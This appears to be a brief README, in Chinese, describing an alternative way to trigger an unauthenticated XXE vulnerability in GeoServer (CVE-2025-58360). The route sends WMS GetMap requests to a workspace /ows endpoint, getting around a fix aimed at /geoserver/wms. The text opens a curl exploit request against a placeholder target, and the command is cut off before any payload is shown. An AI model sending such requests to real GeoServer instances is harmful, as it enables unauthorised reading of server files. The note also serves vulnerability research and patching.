Bypass-CVE-2025-58360

在我的 geoserver 分析过程中，我发现了另一种通过 WMS GetMap 操作攻击未经认证的 XML 外部实体（XXE）的方式。我们可以通过 /geoserver/workspaces/ows 利用 OWS 调用 WMS 服务来触发此漏洞，而不是像下面所示直接通过 /geoserver/wms 调用 WMS 服务。 curl -X POST "http://IP:PORT/geoserver/topp/ows?service=WMS&version=2.0.0&request=getmap&maxFeatures=1&outputFormat=application%2Fjson...